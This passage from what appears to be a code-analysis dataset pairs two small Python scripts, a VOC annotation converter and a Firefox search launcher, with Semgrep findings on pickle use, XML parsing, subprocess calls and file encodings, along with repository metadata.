["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_aead1f2f4f8e5d13_a4ad8f7a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 13, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmppq52ww6s/aead1f2f4f8e5d13.py", "start": {"line": 45, "col": 13, "offset": 992}, "end": {"line": 45, "col": 43, "offset": 1022}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_aead1f2f4f8e5d13_e04eb58c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 13, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/aead1f2f4f8e5d13.py", "start": {"line": 45, "col": 13, "offset": 992}, "end": {"line": 45, "col": 43, "offset": 1022}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_aead1f2f4f8e5d13_7a374dfa", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 55, "line_end": 55, "column_start": 14, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/aead1f2f4f8e5d13.py", "start": {"line": 55, "col": 14, "offset": 1219}, "end": {"line": 55, "col": 28, "offset": 1233}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_aead1f2f4f8e5d13_ce177192", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 26, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmppq52ww6s/aead1f2f4f8e5d13.py", "start": {"line": 56, "col": 26, "offset": 1275}, "end": {"line": 56, "col": 50, "offset": 1299}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_aead1f2f4f8e5d13_f0e91be7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 26, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/aead1f2f4f8e5d13.py", "start": {"line": 56, "col": 26, "offset": 1275}, "end": {"line": 56, "col": 50, "offset": 1299}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_aead1f2f4f8e5d13_778ccddd", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_attribute\" a function or an attribute? If it is a function, you may have meant method.is_attribute() because method.is_attribute is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 143, "line_end": 143, "column_start": 5, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmppq52ww6s/aead1f2f4f8e5d13.py", "start": {"line": 143, "col": 5, "offset": 3716}, "end": {"line": 143, "col": 24, "offset": 3735}, "extra": {"message": "Is \"is_attribute\" a function or an attribute? If it is a function, you may have meant method.is_attribute() because method.is_attribute is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 7 | true | [
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
45,
45,
56,
56
] | [
45,
45,
56,
56
] | [
13,
13,
26,
26
] | [
43,
43,
50,
50
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead t... | [
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | models.py | /simpleai/machine_learning/models.py | j0hn/simpleai | MIT | |
2024-11-18T19:19:12.619423+00:00 | 1,576,678,818,000 | 5b7eb27806c6bc94e7aa2fa782d54ce71af22d3d | 2 | {
"blob_id": "5b7eb27806c6bc94e7aa2fa782d54ce71af22d3d",
"branch_name": "refs/heads/master",
"committer_date": 1576678818000,
"content_id": "3e63274652a87e34a4ff14af36daa06e1cd30887",
"detected_licenses": [
"MIT"
],
"directory_id": "06f7c2be96341006552bb746a595f39d15aa8efb",
"extension": "py",
"filename": "voc_annotation.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 228853552,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2017,
"license": "MIT",
"license_type": "permissive",
"path": "/voc_annotation.py",
"provenance": "stack-edu-0054.json.gz:580143",
"repo_name": "aokiayako/keras-yolov3-colab",
"revision_date": 1576678818000,
"revision_id": "c79b46d4653751f178af9cec564bfde5a9b99513",
"snapshot_id": "8f175a337f24eb18d3eeeb68b12ae834a0672e8c",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/aokiayako/keras-yolov3-colab/c79b46d4653751f178af9cec564bfde5a9b99513/voc_annotation.py",
"visit_date": "2020-11-25T21:24:19.059386"
} | 2.484375 | stackv2 | import os
import sys
import xml.etree.ElementTree as ET
from os import getcwd
year, image_set = ('2007', 'train_data')
# sets = [('2007', 'train'), ('2007', 'val'), ('2007', 'test')]
classes = ["paper", "cup"]
if len(sys.argv) > 1:
classes = sys.argv[1:]
with open('model_data/voc_classes.txt', 'w') as f:
f.write('\n'.join(classes))
def convert_annotation(year, image_id, list_file):
in_file = open('VOCDevkit/VOC%s/Annotations/%s.xml' % (year, image_id.replace('.jpg', '')))
tree = ET.parse(in_file)
root = tree.getroot()
for obj in root.iter('object'):
difficult = obj.find('difficult').text
cls = obj.find('name').text
if cls not in classes or int(difficult) == 1:
continue
cls_id = classes.index(cls)
xmlbox = obj.find('bndbox')
b = (int(float(xmlbox.find('xmin').text)),
int(float(xmlbox.find('ymin').text)),
int(float(xmlbox.find('xmax').text)),
int(float(xmlbox.find('ymax').text)))
list_file.write(" " + ",".join([str(a) for a in b]) + ',' + str(cls_id))
wd = getcwd()
list_file = open('model_data/model_%s.txt' % (image_set), 'w')
# 画像のリストを取得
img_list = os.listdir('%s/VOCDevkit/VOC%s/JPEGImages' % (wd, year))
# xmlの拡張子なしリストを取得
xml_list = []
for file in os.listdir('%s/VOCDevkit/VOC%s/Annotations' % (wd, year)):
base_name, ext = os.path.splitext(file)
if ext == '.xml':
xml_list.append(base_name)
# 画像に対してアノテーションデータがあれば(=対応するxmlファイルがあれば)xmlからアノテーションデータを取得する
for image_id in img_list:
if image_id[:-4] not in xml_list:
continue
image_file_path = '%s/VOCDevkit/VOC%s/JPEGImages/%s' % (wd, year, image_id)
list_file.write(image_file_path)
convert_annotation(year, image_id, list_file)
list_file.write('\n')
list_file.close()
| 57 | 30.93 | 95 | 17 | 549 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_46a5c40705339495_5e7cbe5c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 3, "line_end": 3, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/46a5c40705339495.py", "start": {"line": 3, "col": 1, "offset": 21}, "end": {"line": 3, "col": 35, "offset": 55}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_46a5c40705339495_a7a13ef7", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 6, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/46a5c40705339495.py", "start": {"line": 14, "col": 6, "offset": 268}, "end": {"line": 14, "col": 45, "offset": 307}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_46a5c40705339495_5059407b", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 5, "column_end": 96, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmppq52ww6s/46a5c40705339495.py", "start": {"line": 19, "col": 5, "offset": 403}, "end": {"line": 19, "col": 96, "offset": 494}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_46a5c40705339495_574285c3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 15, "column_end": 96, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/46a5c40705339495.py", "start": {"line": 19, "col": 15, "offset": 413}, "end": {"line": 19, "col": 96, "offset": 494}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_46a5c40705339495_34fd13fa", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(in_file)", "location": {"file_path": "unknown", "line_start": 20, "line_end": 20, "column_start": 12, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmppq52ww6s/46a5c40705339495.py", "start": {"line": 20, "col": 12, "offset": 506}, "end": {"line": 20, "col": 29, "offset": 523}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(in_file)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_46a5c40705339495_fce2d237", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 13, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/46a5c40705339495.py", "start": {"line": 37, "col": 13, "offset": 1129}, "end": {"line": 37, "col": 63, "offset": 1179}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 6 | true | [
"CWE-611",
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml-parse"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
3,
20
] | [
3,
20
] | [
1,
12
] | [
35,
29
] | [
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The native Python `xml` library is vulnerable to XML Exter... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | voc_annotation.py | /voc_annotation.py | aokiayako/keras-yolov3-colab | MIT | |
2024-11-18T19:19:14.708208+00:00 | 1,668,393,970,000 | 95055a9ab100b926ae02009f5462d2681d336a35 | 3 | {
"blob_id": "95055a9ab100b926ae02009f5462d2681d336a35",
"branch_name": "refs/heads/master",
"committer_date": 1668393970000,
"content_id": "e1cb3f20a6fb8a9256f9b1c8b1e8043a397d1af5",
"detected_licenses": [
"MIT"
],
"directory_id": "ce09a201c4e5964420918d770f644765722b6b18",
"extension": "py",
"filename": "ddgFirefox2.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 123651212,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 589,
"license": "MIT",
"license_type": "permissive",
"path": "/ddgFirefox2.py",
"provenance": "stack-edu-0054.json.gz:580166",
"repo_name": "DU-ds/Misc-Python-Scripts",
"revision_date": 1668393970000,
"revision_id": "638b8cae8025880b8706daa8f5a23134a37ac809",
"snapshot_id": "d11e1f8c4db57a0ab2fa3816e07cfd1acfa2ceca",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/DU-ds/Misc-Python-Scripts/638b8cae8025880b8706daa8f5a23134a37ac809/ddgFirefox2.py",
"visit_date": "2022-11-23T16:14:09.707094"
} | 2.84375 | stackv2 | from sys import argv
import sys
import os
import subprocess
# https://docs.python.org/3/library/sys.html
in1 = argv[1:]
# https://stackoverflow.com/questions/4426663/how-to-remove-the-first-item-from-a-list
search = "--search '"
for s in in1:
search.join(s)
search.join(" ")
search[:-1] #remove trailing space
search.join("'")
command = ["firefox", search]
# , "--search"
# https://docs.python.org/3/library/subprocess.html
pop1 = subprocess.Popen(command)
try:
out1, err1 = pop1.communicate(timeout=12)
except TimeoutExpired:
print("Timeout, try again.")
pop1.kill
| 30 | 18.63 | 86 | 9 | 159 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_8533a801c4a93368_31abf661", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 23, "line_end": 23, "column_start": 8, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/8533a801c4a93368.py", "start": {"line": 23, "col": 8, "offset": 443}, "end": {"line": 23, "col": 33, "offset": 468}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
23
] | [
23
] | [
8
] | [
33
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
